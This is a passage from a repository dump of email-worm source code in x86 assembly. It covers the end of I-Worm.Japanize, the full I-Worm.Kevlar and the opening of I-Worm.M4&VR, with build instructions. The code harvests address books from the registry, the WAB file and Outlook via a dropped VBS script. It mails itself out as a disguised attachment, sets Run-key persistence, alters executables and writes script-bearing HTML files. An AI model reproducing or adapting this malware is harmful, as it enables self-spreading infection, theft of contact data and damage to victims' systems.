Account',0+str_SMTPNAME db 'SMTP Server',0+str_SMTPEmailAddr db 'SMTP Email Address',0+str_SMWab4 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0+++SMTP_Server db 50 dup(?) ; default smtp server+bufsiz_SMTPSERVER dd 50+morons_Mailaddr db 256 dup(?) ; mail address of moron :)+bufsiz_morons_mailaddr dd 256+wab4_path db 260 dup(?); wab file path+bufsiz_wab4_path dd 260++buffer db 1000 dup(?)++hwab4file dd ? ; wab4 file handle+hwab4map dd ? ;+hwab4mapview dd ? ;++myfilename db 260 dup(?) ; handle of myself+hmyfile dd ?+fsize dd ? ; file size++hmemout0 dd ?+ptr_myself dd ?+hmemout dd ? ; globalalloc+ptr_base64buf dd ? ; globallock++target_mailaddr db 48h dup(?) ;++sockaddr_in label byte ;+ sin_family dw ?+ sin_port dw ?+ sin_addr dd ?+ sin_zero db 8 dup(?)+len_sockaddr_in = $ - ofs sockaddr_in++sock dd ? ; socket descriptor++recv_buffer db 1024 dup(?) ; recv buffer++jflag dd 0 ; japanese or not++smtp_HELO db 'HELO localhost',CRLF+len_smtp_HELO = $ - ofs smtp_HELO+smtp_MAIL_FROM db 'MAIL FROM: '+len_smtp_MAIL_FROM = $ - ofs smtp_MAIL_FROM+;crlf+smtp_RCPT_TO db 'RCPT TO: '+len_smtp_RCPT_TO = $ - ofs smtp_RCPT_TO+;crlf+smtp_DATA db 'DATA',CRLF+len_smtp_DATA = $ - ofs smtp_DATA+smtp_BODY_FROM db 'FROM: '+len_smtp_BODY_FROM = $ - ofs smtp_BODY_FROM+smtp_BODY_TO db CRLF,'TO: '+len_smtp_BODY_TO = $ - ofs smtp_BODY_TO+smtp_BODY_SUBJECT db CRLF,'SUBJECT: Important',CRLF+len_smtp_BODY_SUBJECT = $ - ofs smtp_BODY_SUBJECT++smtp_DOT_CRLF db '.',CRLF+len_smtp_DOT_CRLF = $ - ofs smtp_DOT_CRLF+smtp_QUIT db 'QUIT',CRLF+len_smtp_QUIT = $ - ofs smtp_QUIT++smtp_crlf db CRLF++smtp_MIME_h db 'MIME-Version: 1.0',CRLF+ db 'Content-Type: multipart/mixed; boundary="Boundary-a8dfidaoRadvfuck"',CRLF+ db CRLF+ db '--Boundary-a8dfidaoRadvfuck',CRLF+ db 'Content-Type: text/plain; charset=iso-2022-jp',CRLF+ db 'Content-Transfer-Encoding: 7bit',CRLF+ db 'Content-Description: Mail message body',CRLF+ db CRLF+ db CRLF ; text+ db CRLF+ db '--Boundary-a8dfidaoRadvfuck',CRLF+ db 'Content-Type: application/x-msdownload; name="patch.exe"',CRLF+ db 'Content-Disposition: attachment; filename="patch.exe"',CRLF+ db 'Content-Transfer-Encoding: BASE64',CRLF+ db CRLF+len_smtp_MIME_h = $ - ofs smtp_MIME_h+ ;; base64 body+smtp_MIME_e db CRLF,'--Boundary-a8dfidaoRadvfuck--',CRLF,CRLF+len_smtp_MIME_e = $ - ofs smtp_MIME_e++r_seed dd 10987293h ; random seed+++smtp_jsubject_1 db CRLF,'SUBJECT: =?ISO-2022-JP?B?'+len_smtp_jsubject_1 = $ - ofs smtp_jsubject_1+smtp_jsubject_2 db '?=',CRLF+len_smtp_jsubject_2 = $ - ofs smtp_jsubject_2+++;;; japanese subjects table+japanese_subjects label byte+ dd ofs js_01+ dd ofs js_02+ dd ofs js_03+ dd ofs js_04+ dd ofs js_05+ dd ofs js_06+ dd ofs js_07+ dd ofs js_08+ dd ofs js_09+ dd ofs js_10+ dd ofs js_11+ dd ofs js_12+ dd ofs js_13+ dd ofs js_14+ dd ofs js_15+ dd ofs js_16+ dd ofs js_17+num_of_jsub = ($ - ofs japanese_subjects)/4+js_01 db 'GyRCPUVNVxsoQg==',0 ; �d�v+js_02 db 'UmU6GyRCPUVNVxsoQg==',0; Re:�d�v+js_03 db 'GyRCPUVNVyRKJCpDTiRpJDsbKEI=',0; �d�v�Ȃ��m�点+js_04 db 'UmU6GyRCPUVNVyRKJCpDTiRpJDsbKEI=',0; Re:�d�v�Ȃ����点+js_05 db 'GyRCTmMkTjdvGyhC',0 ; ��̌�+js_06 db 'UmU6GyRCTmMkTjdvGyhC',0; Re:��̌�+js_07 db 'GyRCJCo1VyQ3JFYkaiRHJDkbKEI=',0; ���v���Ԃ�ł�+js_08 db 'UmU6GyRCJCo1VyQ3JFYkaiRHJDkbKEI=',0; Re:���v���Ԃ�ł�+js_09 db 'GyRCJDMkcyRLJEEkTxsoQg==',0; ����ɂ���+js_10 db 'UmU6GyRCJDMkcyRLJEEkTxsoQg==',0; Re:����ɂ���+js_11 db 'GyRCNktIaxsoQg==',0 ; �ɔ�+js_12 db 'UmU6GyRCNktIaxsoQg==',0; Re:�ɔ�+js_13 db 'GyRCO3FOQRsoQg==',0 ; ����+js_14 db 'UmU6GyRCO3FOQRsoQg==',0; Re:����+js_15 db 'GyRCMz8bKEI=',0 ; ���+js_16 db 'GyRCJSYlYxsoQlI=',0 ; �E�\�R+js_17 db 'GyRCJCYkcyQzGyhC',0 ; ����++ .code+start:+ callW GetTickCount+ mov dwo [r_seed],eax+ jmp @@go+ ;; signature :)+ db 'XXXXXXXXXXXXXXXXXXXXXXXXXXX',0+ db 'XXXXX I-Worm.Japanize XXXXX',0+ db 'XXXXXXXXXXXXXXXXXXXXXXXXXXX',0+ @@go:+ call get_some_info++ push ofs buffer+ push 0101h+ callW WSAStartup+ test eax,eax+ jnz exit++ call open_wab+ test eax,eax+ jnz clean_sock++ call create_base64enc++ call spread++free_mem:+ push dwo [ptr_base64buf]+ callW GlobalUnlock+ push dwo [hmemout]+ callW GlobalFree++close_wab4:+ push dwo [hwab4file]+ push dwo [hwab4map]+ push dwo [hwab4mapview]+ callW CloseHandle+ callW CloseHandle+ callW CloseHandle++clean_sock:+ callW WSACleanup++exit:+ push 0+ callW ExitProcess++++spread:+ ;; lifewire ;)+ mov esi,dwo [hwab4mapview]+ mov ecx,[esi+64h] ; num of addr+ jecxz @@exit+ add esi,[esi+60h] ; ptr to addr++ @@spread_loop:+ push ecx++ mov eax,esi+ cmp by [esi+1],0+ jne @@nounicode+ push esi+ lea edi,target_mailaddr+ push edi++ push 48h+ pop ecx+ @@1:+ lodsw+ stosb+ loop @@1++ pop eax+ pop esi+ add esi,20h++ @@nounicode:+ call spread2++ add esi,24h+ pop ecx+ loop @@spread_loop++ @@exit:+ ret+++spread2:+ push esi+ mov esi,eax ; now esi=email addr++ push 0+ push 1+ push 2+ callW socket+ mov dwo [sock],eax++ mov wo [sin_family],AF_INET+ mov ax,25+ xchg al,ah+ mov wo [sin_port],ax++ push ofs SMTP_Server+ callW gethostbyname+ test eax,eax+ jz @@exit++ mov eax,[eax+12]+ mov eax,[eax]+ mov eax,[eax]++ mov dwo [sin_addr],eax+ push len_sockaddr_in+ lea eax,sockaddr_in+ push eax+ push dwo [sock]+ callW connect+ test eax,eax+ jnz @@exit++ call sendmail++ @@exit:+ pop esi+ ret+++;;; ---+;;; reg stuff+get_some_info:+ xor ebx,ebx++ push ofs hReg+ push 1+ push ebx+ push ofs str_SMInternetAccountManager+ push HKEY_CURRENT_USER+ callW RegOpenKeyExA+ test eax,eax+ jnz @@error++ push ofs bufsiz_accountidx+ push ofs AccountIdx+ push ebx+ push ebx+ push ofs str_DMA+ push dwo [hReg]+ callW RegQueryValueExA+ test eax,eax+ jnz @@error++ push dwo [hReg]+ callW RegCloseKey++ push ofs hReg+ push 1+ push ebx+ push ofs str_SMIAccounts+ push HKEY_CURRENT_USER+ callW RegOpenKeyExA+ test eax,eax+ jnz @@error++ push ofs bufsiz_SMTPSERVER+ push ofs SMTP_Server+ push ebx+ push ebx+ push ofs str_SMTPNAME+ push dwo [hReg]+ callW RegQueryValueExA+ test eax,eax+ jnz @@error++ push ofs bufsiz_morons_mailaddr+ push ofs morons_Mailaddr+ push ebx+ push ebx+ push ofs str_SMTPEmailAddr+ push dwo [hReg]+ callW RegQueryValueExA+ test eax,eax+ jnz @@error++ push dwo [hReg]+ callW RegCloseKey++ push ofs hReg+ push 1+ push ebx+ push ofs str_SMWab4+ push HKEY_CURRENT_USER+ callW RegOpenKeyExA+ test eax,eax+ jnz @@error++ push ofs bufsiz_wab4_path+ push ofs wab4_path+ push ebx+ push ebx+ push ebx+ push dwo [hReg]+ callW RegQueryValueExA+ test eax,eax+ jnz @@error++ push dwo [hReg]+ callW RegCloseKey+ xor eax,eax+ ret+ @@error:+ xor eax,eax+ dec eax+ ret+++open_wab:+ xor ebx,ebx+ push ebx+ push FILE_ATTRIBUTE_NORMAL+ push OPEN_EXISTING+ push ebx+ push FILE_SHARE_WRITE+ push GENERIC_READ+ push ofs wab4_path+ callW CreateFileA+ inc eax+ jz @@error+ dec eax+ mov dwo [hwab4file],eax++ push ebx+ push ebx+ push ebx+ push PAGE_READONLY+ push ebx+ push eax+ callW CreateFileMappingA+ mov dwo [hwab4map],eax++ push ebx+ push ebx+ push ebx+ push FILE_MAP_READ+ push eax+ callW MapViewOfFile+ mov dwo [hwab4mapview],eax+ xor eax,eax+ ret+ @@error:+ xor eax,eax+ dec eax+ ret++create_base64enc:+ push 260+ push ofs myfilename+ push 0+ callW GetModuleFileNameA++ xor ebx,ebx+ push ebx+ push FILE_ATTRIBUTE_NORMAL+ push OPEN_EXISTING+ push ebx+ push FILE_SHARE_READ+ push GENERIC_READ+ push ofs myfilename+ callW CreateFileA+ inc eax+ jz @@error+ dec eax+ mov dwo [hmyfile],eax++ push 0+ push dwo [hmyfile]+ callW GetFileSize+ mov dwo [fsize],eax++ add eax,100h+ push eax+ push GHND+ callW GlobalAlloc+ mov dwo [hmemout0],eax++ push eax+ callW GlobalLock+ mov dwo [ptr_myself],eax++ push 0+ push ofs recv_buffer+ push dwo [fsize]+ push eax+ push dwo [hmyfile]+ callW ReadFile+ test eax,eax+ jz @@eexit++ push 0+ push dwo [hmyfile]+ callW GetFileSize+ push eax ; save size++ shl eax,1 ; eax*2++ push eax+ push GHND+ callW GlobalAlloc+ mov dwo [hmemout],eax++ push eax+ callW GlobalLock+ mov dwo [ptr_base64buf],eax++; pop ebx ; restore size+; push ebx ; size+ push eax+ push dwo [ptr_myself]+ call base64encode+++ push dwo [hmyfile]+ callW CloseHandle++ push dwo [ptr_myself]+ callW GlobalUnlock+ push dwo [hmemout0]+ callW GlobalFree++ xor eax,eax+ ret++ @@eexit:+ push dwo [hmyfile]+ callW CloseHandle++ push dwo [ptr_myself]+ callW GlobalUnlock+ push dwo [hmemout0]+ callW GlobalFree++ @@error:+ xor eax,eax+ dec eax+ ret++base64encode proc pascal+ arg @@src+ arg @@dest+ arg @@srclen++ mov esi,dwo [@@src]+ mov edi,dwo [@@dest]++ @@b64loop:+ xor eax,eax+ cmp dwo [@@srclen],1+ jne @@srclen2+ lodsb+ push 2+ pop ecx+ mov edx,03D3Dh ; ==+ dec dwo [@@srclen]+ jmp @@b64next++ @@srclen2:+ cmp dwo [@@srclen],2+ jne @@srclen3+ lodsw+ push 3+ pop ecx+ push 03dh+ pop edx+ sub dwo [@@srclen],2+ jmp @@b64next+ @@srclen3:+ lodsd+ push 4+ pop ecx+ xor edx,edx+ dec esi+ sub dwo [@@srclen],3++ @@b64next:+ bswap eax++ @@b64n_loop:+ mov ebx,eax+ and eax,0FC000000h+ rol eax,6+ mov al,[@@b64table + eax]+ stosb+ mov eax,ebx+ shl eax,6+ dec ecx+ jnz @@b64n_loop++ cmp dwo [@@srclen],0+ ja @@b64loop++ mov eax,edx+ stosd+ ret++ @@b64table db "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"+ endp+++g_send:+ ;; in+ ;; ecx = size+ ;; esi = ptr to data+ ;; out+ ;; eax = ret value of send()+ push 0+ push ecx+ push esi+ push dwo [sock]+ callW send+ ret++g_recv:+ ;; out+ ;; error -> eax=-1 success -> eax = 0+ @@again:+ push 0+ push 1024+ push ofs recv_buffer+ push dwo [sock]+ callW recv+ inc eax+ jz @@recv_error+ cmp eax,1024+ jz @@again+ xor eax,eax+ ret+ @@recv_error:+ xor eax,eax+ dec eax+ ret+++sendmail:+ ;; yea. lame routine ;)+ push esi ; mail addr+ mov dwo [jflag],0 ; flag for .jp+ ;;+ call g_recv++ ;;+ lea esi,smtp_HELO+ mov ecx,len_smtp_HELO+ call g_send++ call g_recv++ ;;+ lea esi,smtp_MAIL_FROM+ mov ecx,len_smtp_MAIL_FROM+ call g_send++ push ofs morons_Mailaddr+ callW lstrlen+ mov ecx,eax+ lea esi,morons_Mailaddr+ call g_send+ mov ecx,2+ lea esi,smtp_crlf+ call g_send++ call g_recv+ ;;+ mov ecx,len_smtp_RCPT_TO+ lea esi,smtp_RCPT_TO+ call g_send++ pop esi+ push esi++ push esi+ callW lstrlen+ push eax ; save+ mov ecx,eax+ call g_send++ mov ecx,2+ lea esi,smtp_crlf+ call g_send++ call g_recv++ ;; .jp?+ pop eax ; len of mail address+ pop esi+ push esi ; mail address+ add esi,eax+ sub esi,3+ cmp dwo [esi],00706a2eh ; .jp?+ jne @@1+ inc dwo [jflag]+ @@1:+ ;;++ lea esi,smtp_DATA+ mov ecx,len_smtp_DATA+ call g_send++ call g_recv+ ;;++ lea esi,smtp_BODY_FROM+ mov ecx,len_smtp_BODY_FROM+ call g_send++ push ofs morons_Mailaddr+ callW lstrlen+ mov ecx,eax+ lea esi,morons_Mailaddr+ call g_send++ lea esi,smtp_BODY_TO+ mov ecx,len_smtp_BODY_TO+ call g_send++ pop esi+ push esi++ push esi+ callW lstrlen+ mov ecx,eax+ call g_send++ cmp dwo [jflag],0+ jnz @@jsubject++ mov ecx,len_smtp_BODY_SUBJECT+ lea esi,smtp_BODY_SUBJECT+ call g_send+ jmp @@body++ @@jsubject:+ ;; gen subject+ mov ecx,len_smtp_jsubject_1+ lea esi,smtp_jsubject_1+ call g_send++ mov esi,(num_of_jsub-1)+ call rng+ lea esi,japanese_subjects+ mov esi,dwo [esi+eax*4]+ push esi+ callW lstrlen+ mov ecx,eax+ call g_send++ mov ecx,len_smtp_jsubject_2+ lea esi,smtp_jsubject_2+ call g_send++++ @@body:+ lea esi,smtp_MIME_h+ mov ecx,len_smtp_MIME_h+ call g_send++ mov esi,dwo [ptr_base64buf]+ push esi+ push esi+ callW lstrlen+ pop esi+ mov ecx,eax+ call g_send++ lea esi,smtp_MIME_e+ mov ecx,len_smtp_MIME_e+ call g_send+++ mov ecx,len_smtp_DOT_CRLF+ lea esi,smtp_DOT_CRLF+ call g_send++ call g_recv+ ;;++ mov ecx,len_smtp_QUIT+ lea esi,smtp_QUIT+ call g_send++ call g_recv+ pop esi++ ret+++rng:+ ;; in+ ;; esi = range+ ;; out+ ;; eax = random number+ rdtsc+ xor eax,edx+ imul eax,dwo [r_seed]+ dec eax+ mov dwo [r_seed],eax+ xor edx,edx+ div esi+ mov eax,edx+ ret++end start++*************************************************************************++@ECHO OFF+TASM32 /ml /m /z japanize.asm,japanize.obj+TLINK32 -x -aa -Tpe japanize.obj,,,%import32.lib+DEL *.OBJdiff --git a/Worms/InternetWorm/I-Worm.Kevlar.asm b/Worms/InternetWorm/I-Worm.Kevlar.asmnew file mode 100644index 0000000..85e6dca--- /dev/null+++ b/Worms/InternetWorm/I-Worm.Kevlar.asm@@ -0,0 +1,651 @@+comment #+Name : I-Worm.Kevlar+Author : PetiK+Date : August 7th 2001 - August 16th 2001+Size : 5120 byte++Action : Copy itself to %System%\Kevlar32.exe hidden attribute+ %System%\MScfg32.exe normal attribute+ Add HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Kevlar32 = %System%\Kevlar32.exe++ * Infect %Windir%\C???????.exe file on writing as "PetiK" in the file+ * Infect %Windir%\*.exe It add .htm and create a new file with ActiveX+ * Create C:\__.vbs This filetake all address in th e Address Book at save them in the+ %windir%\AddBook.txt. The worm scan this file to find the address and send a new mail :++ Subject : Windows Protect !!+ Body : The smallest software to stop your computer to bug in each time.+ I have found this program on WWW.KEVLAR-PROTECT.COM++ Take a look at the attchment.++ Bye and have a nice day.++ Attachment : MScfg32.exe++ * It creates the %windir%\MSinfo32.txt. I look like this :++ [File Infected] => Name of C???????.exe file infected+ CLEANMGR.EXE=Infected by W32.Kevlar.PetiK+ CVTAPLOG.EXE=Infected by W32.Kevlar.PetiK++ [EMail saved] => Some address found in the address book+ [email protected]=Next victim+ [email protected]=Next victim+++To build the worm:+tasm32 /M /ML Kevlar+tlink32 -Tpe -aa -x Kevlar,,,import32+upx -9 Kevlar.exe++To delete the worm:+@echo off+del %windir%\system\Kevlar32.exe+del %windir%\system\MScfg32.exe+del %windir%\*.exe.htm+del %windir%\MSinfo32.txt+del %windir%\AddBook.txt++#++.586p+.model flat+.code++JUMPS++callx macro a+extrn a:proc+call a+endm++include useful.inc++DEBUT:+F_NAME: push 50+ mov esi,offset Orig+ push esi+ push 0+ callx GetModuleFileNameA++ mov edi,offset CopyName2+ push edi+ push 50+ push edi+ callx GetSystemDirectoryA+ add edi,eax+ mov eax,'cSM\'+ stosd+ mov eax,'23gf'+ stosd+ mov eax,'exe.'+ stosd+ pop edi+ push 0+ push edi+ push esi+ callx CopyFileA++ mov edi,offset CopyName+ push edi+ push 50+ push edi+ callx GetSystemDirectoryA+ add edi,eax+ mov al,'\'+ stosb+ mov eax,'lveK'+ stosd+ mov eax,'23ra'+ stosd+ mov eax,'exe.'+ stosd+ pop edi++ push esi+ callx GetFileAttributesA+ cmp eax,1+ je SUITE++ push 0+ push edi+ push esi+ callx CopyFileA++ push 01h+ push edi+ callx SetFileAttributesA+++REG: pushad+ @pushsz "SHLWAPI.dll"+ callx LoadLibraryA+ test eax,eax+ jz FIN+ mov edi,eax+ @pushsz "SHSetValueA"+ push edi+ callx GetProcAddress+ test eax,eax+ jz FIN+ mov esi,eax+ push 08h+ push offset CopyName+ push 01h+ @pushsz "Kevlar32"+ @pushsz "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"+ push 80000002h+ call esi+ push edi+ callx FreeLibrary+ popad++ call Nick++ mov edi,offset nickname+ push 40h+ @pushsz "Hello, my name is :"+ push edi+ push 0+ callx MessageBoxA++ call Infect++ jmp FIN++SUITE: call Infect2+VB_F: pushad+ push 00h+ push 80h+ push 02h+ push 00h+ push 01h+ push 40000000h+ @pushsz "C:\__.vbs"+ callx CreateFileA+ test eax,eax+ xchg edi,eax+ push 00h+ push offset octets+ push VBSSIZE+ push offset vbsd+ push edi+ callx WriteFile+ push edi+ callx CloseHandle+ popad+ push 1+ @pushsz "wscript C:\__.vbs"+ callx WinExec+ push 10000+ callx Sleep+ @pushsz "C:\__.vbs"+ callx DeleteFileA++SCAN1: mov edi,offset addbook+ push edi+ push 50+ push edi+ callx GetWindowsDirectoryA+ add edi,eax+ mov eax,"ddA\"+ stosd+ mov eax,"kooB"+ stosd+ mov eax,"txt."+ stosd+ xor eax,eax+ stosd+ call OPEN++FIN: push 00h+ callx ExitProcess++ Nick Proc+ mov edi,offset nickname+ callx GetTickCount+ push 9+ pop ecx+ xor edx,edx+ div ecx+ inc edx+ mov ecx,edx+ name_g:+ push ecx+ callx GetTickCount+ push 'Z'-'A'+ pop ecx+ xor edx,edx+ div ecx+ xchg eax,edx+ add al,'A'+ stosb+ callx GetTickCount+ push 100+ pop ecx+ xor edx,edx+ div ecx+ push edx+ callx Sleep+ pop ecx+ loop name_g+ ret+ Nick EndP++ Infect Proc+ pushad+ push 50+ push offset WinPath+ callx GetWindowsDirectoryA+ push offset WinPath+ callx SetCurrentDirectoryA+ FFF:+ push offset Search+ @pushsz "C???????.exe"+ callx FindFirstFileA+ inc eax+ je F_INF+ dec eax+ mov [exeHdl],eax+ I_FILE:+ mov verif,0+ xor eax,eax+ push eax+ push eax+ push 03h+ push eax+ push eax+ push 80000000h or 40000000h+ push offset Search.cFileName+ callx CreateFileA+ inc eax+ jz FNF+ dec eax+ xchg eax,ebx++ xor eax,eax+ push eax+ push eax+ push eax+ push 04h+ push eax+ push ebx+ callx CreateFileMappingA+ test eax,eax+ jz CL1+ xchg eax,ebp++ xor eax,eax+ push eax+ push eax+ push eax+ push 06h+ push ebp+ callx MapViewOfFile+ test eax,eax+ jz CL2+ xchg eax,edi++ mov esi,eax+ cmp word ptr [esi],"ZM"+ jne CL2+ cmp byte ptr [esi+18h],"@"+ jne CL2+ cmp word ptr [esi+80h],"EP"+ jne CL2+ cmp byte ptr [esi+12h],"P"+ je CL2+ mov word ptr [esi+12h],"eP"+ mov word ptr [esi+14h],"it"+ mov byte ptr [esi+16h],"K"+ inc verif+ push edi+ callx UnmapViewOfFile+ CL2:+ push ebp+ callx CloseHandle+ CL1:+ push ebx+ callx CloseHandle++ cmp verif,1+ jne FNF+ mov edi,offset InfoFile+ push edi+ push 50+ push edi+ callx GetWindowsDirectoryA+ add edi,eax+ mov eax,'iSM\'+ stosd+ mov eax,'3ofn'+ stosd+ mov eax,'xt.2'+ stosd+ mov al,'t'+ stosb+ pop edi+ mov esi,edi+ push esi+ @pushsz "Infected by W32.Kevlar.PetiK"+ push offset Search.cFileName+ @pushsz "File Infected"+ callx WritePrivateProfileStringA++ FNF:+ push offset Search+ push [exeHdl]+ callx FindNextFileA+ test eax,eax+ jne I_FILE+ FC:+ push [exeHdl]+ callx FindClose+ F_INF:+ popad+ ret+ Infect EndP++ Infect2 Proc+ pushad+ push 50+ push offset WinPath+ callx GetWindowsDirectoryA+ push offset WinPath+ callx SetCurrentDirectoryA+ FFF2:+ push offset Search+ @pushsz "*.exe"+ callx FindFirstFileA+ inc eax+ je F_INF2+ dec eax+ mov [exeHdl],eax+ I_FILE2:+ pushad+ mov edi,offset Search.cFileName+ push edi+ callx lstrlen+ add edi,eax+ mov eax,"mth."+ stosd+ xor eax,eax+ stosd+ push 00h+ push 80h+ push 02h+ push 00h+ push 01h+ push 40000000h+ push offset Search.cFileName+ callx CreateFileA+ test eax,eax+ xchg ebp,eax+ push 00h+ push offset octets+ push HTMSIZE+ push offset htmd+ push ebp+ callx WriteFile+ push ebp+ callx CloseHandle+ popad+ FNF2:+ push offset Search+ push [exeHdl]+ callx FindNextFileA+ test eax,eax+ jne I_FILE2+ FC2:+ push [exeHdl]+ callx FindClose+ F_INF2:+ popad+ ret+ Infect2 EndP++OPEN: pushad+ push 00h+ push 80h+ push 03h+ push 00h+ push 01h+ push 80000000h+ push offset addbook+ callx CreateFileA+ inc eax+ je NO+ dec eax+ xchg eax,ebx++ xor eax,eax+ push eax+ push eax+ push eax+ push 02h+ push eax+ push ebx+ callx CreateFileMappingA+ test eax,eax+ je F1+ xchg eax,ebp++ xor eax,eax+ push eax+ push eax+ push eax+ push 04h+ push ebp+ callx MapViewOfFile+ test eax,eax+ je F2+ xchg eax,esi++ push 00h+ push ebx+ callx GetFileSize+ cmp eax,03h+ jbe F3 ; is the file empty ??++ call SCAN++F3: push esi+ callx UnmapViewOfFile+F2: push ebp+ callx CloseHandle+F1: push ebx+ callx CloseHandle+NO: popad+ ret++ SCAN:+ pushad+ xor edx,edx+ mov edi,offset m_addr+ push edi+ p_c: lodsb+ cmp al," "+ je car_s+ cmp al,0dh+ je entr1+ cmp al,0ah+ je entr2+ cmp al,"!"+ je f_mail+ cmp al,"@"+ je not_a+ inc edx+ not_a: stosb+ jmp p_c+ car_s: inc esi+ jmp p_c+ entr1: xor al,al+ stosb+ pop edi+ test edx,edx+ je SCAN+ call SEND_MAIL+ jmp SCAN+ entr2: xor al,al+ stosb+ pop edi+ jmp SCAN+ f_mail: popad+ ret++ SEND_MAIL:+ push 50+ push offset save_addr+ callx GetWindowsDirectoryA+ @pushsz "\MSinfo32.txt"+ push offset save_addr+ callx lstrcat+ push offset save_addr+ @pushsz "Next victim"+ push offset m_addr+ @pushsz "EMail saved"+ callx WritePrivateProfileStringA+ xor eax,eax+ push eax+ push eax+ push offset Message+ push eax+ push [MAPIHdl]+ callx MAPISendMail+ ret++++.data+; ===== INSTALLATION =====+Orig db 50 dup (0)+CopyName db 50 dup (0)+CopyName2 db 50 dup (0)+nickname db 11 dup (?)++; ===== INFECTION =====+InfoFile db 50 dup (0)+WinPath db 50 dup (0)+exeHdl dd ?+verif dd ?+octets dd ?++; ===== MAIL =====+addbook db 50 dup (0)+save_addr db 50 dup (0)+m_addr db 128 dup (?)+MAPIHdl dd 0+subject db "Windows Protect !!",00h+body db "The smallest software to stop your computer to bug in each time.",0dh,0ah+ db "I have found this program on WWW.KEVLAR-PROTECT.COM",0dh,0ah,0dh,0ah+ db "Take a look at the attchment.",0dh,0ah,0dh,0ah+ db 09h,09h,"Bye and have a nice day.",00h+NameFrom db "Your friend",00h+++Message dd ?+ dd offset subject+ dd offset body+ dd ?+ dd ?+ dd ?+ dd 2+ dd offset MsgFrom+ dd 1+ dd offset MsgTo+ dd 1+ dd offset Attach++MsgFrom dd ?+ dd ?+ dd NameFrom+ dd ?+ dd ?+ dd ?++MsgTo dd ?+ dd 1+ dd offset m_addr+ dd offset m_addr+ dd ?+ dd ?++Attach dd ?+ dd ?+ dd ?+ dd offset CopyName2+ dd ?+ dd ?++++htmd:+db '<html><head><title>PetiKVX come back</title></head><body>',0dh,0ah+db '<script language=vbscript>',0dh,0ah+db 'on error resume next',0dh,0ah+db 'set fso=createobject("scripting.filesystemobject")',0dh,0ah+db 'If err.number=429 then',0dh,0ah+db 'document.write "<font face=''verdana'' size=''2'' color=''#FF0000''>'+db 'You need ActiveX enabled to see this file<br><a href=''javascript:location.reload()''>'+db 'Click Here</a> to reload and click Yes</font>"',0dh,0ah+db 'Else',0dh,0ah+db 'Set ws=CreateObject("WScript.Shell")',0dh,0ah+db 'document.write "<font face=''verdana'' size=''3'' color=red>'+db 'This page is generate by a worm<br>But this worm is proteced by Kevlar<br></font>"',0dh,0ah+db 'document.write "<font face=''verdana'' size=''2'' color=blue><br>'+db 'Worms are not dangerous for your computer but to survive, they must be strong</font>"',0dh,0ah+db 'ws.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.avp.ch"',0dh,0ah+db 'End If',0dh,0ah+db '</script></html>',00h+HTMSIZE = $-htmd++vbsd:+db 'On Error Resume Next',0dh,0ah+db 'Set Kevlar = CreateObject("Outlook.Application")',0dh,0ah+db 'Set L = Kevlar.GetNameSpace("MAPI")',0dh,0ah+db 'Set f=CreateObject("Scripting.FileSystemObject")',0dh,0ah+db 'Set c=f.CreateTextFile(f.GetSpecialFolder(0)&"\AddBook.txt")',0dh,0ah+db 'c.Close',0dh,0ah+db 'For Each M In L.AddressLists',0dh,0ah+db 'If M.AddressEntries.Count <> 0 Then',0dh,0ah+db 'For O = 1 To M.AddressEntries.Count',0dh,0ah+db 'Set P = M.AddressEntries(O)',0dh,0ah+db 'Set c=f.OpenTextFile(f.GetSpecialFolder(0)&"\AddBook.txt",8,true)',0dh,0ah+db 'c.WriteLine P.Address',0dh,0ah+db 'c.Close',0dh,0ah+db 'Next',0dh,0ah+db 'End If',0dh,0ah+db 'Next',0dh,0ah+db 'Set c=f.OpenTextFile(f.GetSpecialFolder(0)&"\AddBook.txt",8,true)',0dh,0ah+db 'c.WriteLine "!"',0dh,0ah+db 'c.Close',0dh,0ah+VBSSIZE = $-vbsd++signature db "I-Worm.Kevlar coded by PetiK (c)2001",00h+++MAX_PATH equ 260+FILETIME struct+dwLowDateTime dd ?+dwHighDateTime dd ?+FILETIME ends+WIN32_FIND_DATA struct+dwFileAttributes dd ?+ftCreationTime FILETIME ?+ftLastAccessTime FILETIME ?+ftLastWriteTime FILETIME ?+nFileSizeHigh dd ?+nFileSizeLow dd ?+dwReserved0 dd ?+dwReserved1 dd ?+cFileName dd MAX_PATH (?)+cAlternateFileName db 13 dup (?)+ db 3 dup (?)+WIN32_FIND_DATA ends++Search WIN32_FIND_DATA <>+++end DEBUT+end\ No newline at end of filediff --git a/Worms/InternetWorm/I-Worm.M4&VR.asm b/Worms/InternetWorm/I-Worm.M4&VR.asmnew file mode 100644index 0000000..977fd23--- /dev/null+++ b/Worms/InternetWorm/I-Worm.M4&VR.asm@@ -0,0 +1,2048 @@+;-----------------------------------------------------------------------------+;------------------------------- -----------------------------------------+;----------------------------- ---------------------------------------+;--------------------------- I-Worm M4&VR ------------------------------------+;----------------------------- ---------------------------------------+;------------------------------- -----------------------------------------+;-----------------------------------------------------------------------------++.386p+.model flat++;--------------------------- Include Zone ------------------------------------++MEM_COMMIT equ 00001000h+MEM_RESERVE equ 00002000h+PAGE_READWRITE equ 00000004h+PAGE_READONLY equ 00000002h+FILE_ATTRIBUTE_NORMAL equ 080h+OPEN_EXISTING equ 03h+FILE_SHARE_READ equ 01h+GENERIC_READ equ 80000000h+FILE_MAP_WRITE equ 00000002h+FILE_MAP_READ equ 00000004h+CREATE_ALWAYS equ 2+GENERIC_WRITE equ 40000000h++;-------------------------- Macro Zone ---------------------------------------++@INIT_SehFrame macro Instruction+ local OurSeh+ call OurSeh+ mov esp,[esp+08h]+ Instruction+OurSeh:+ xor edx,edx+ push dword ptr fs:[edx]+ mov dword ptr fs:[edx],esp+ endm++@REM_SehFrame macro+ xor edx,edx+ pop dword ptr fs:[edx]+ pop edx+ endm++@pushsz macro string+ local Str+ call Str+ db string,0+Str: endm++api macro a+ extrn a:PROC+ call a+ endm++;------------------------ Constantes Zone ------------------------------------++SEH equ 1 ; SEH protection++NbEmailWanted equ 150 ; Nb Email to Seek >1+EmailSize equ 64 ; Attention rol eax,6 (2^6)+EmailFileSize equ (EmailSize*(NbEmailWanted+1)) ; For VirtualAlloc (+Security)+NbToSend equ 20 ; Send x emails per session++NbPersoWanted equ 20 ; Nb Personal document to Seek+PersoSize equ 256 ; Attention rol eax,8 (2^8)+PersoFileSize equ (PersoSize*(NbPersoWanted+1)) ; For VirtualAlloc 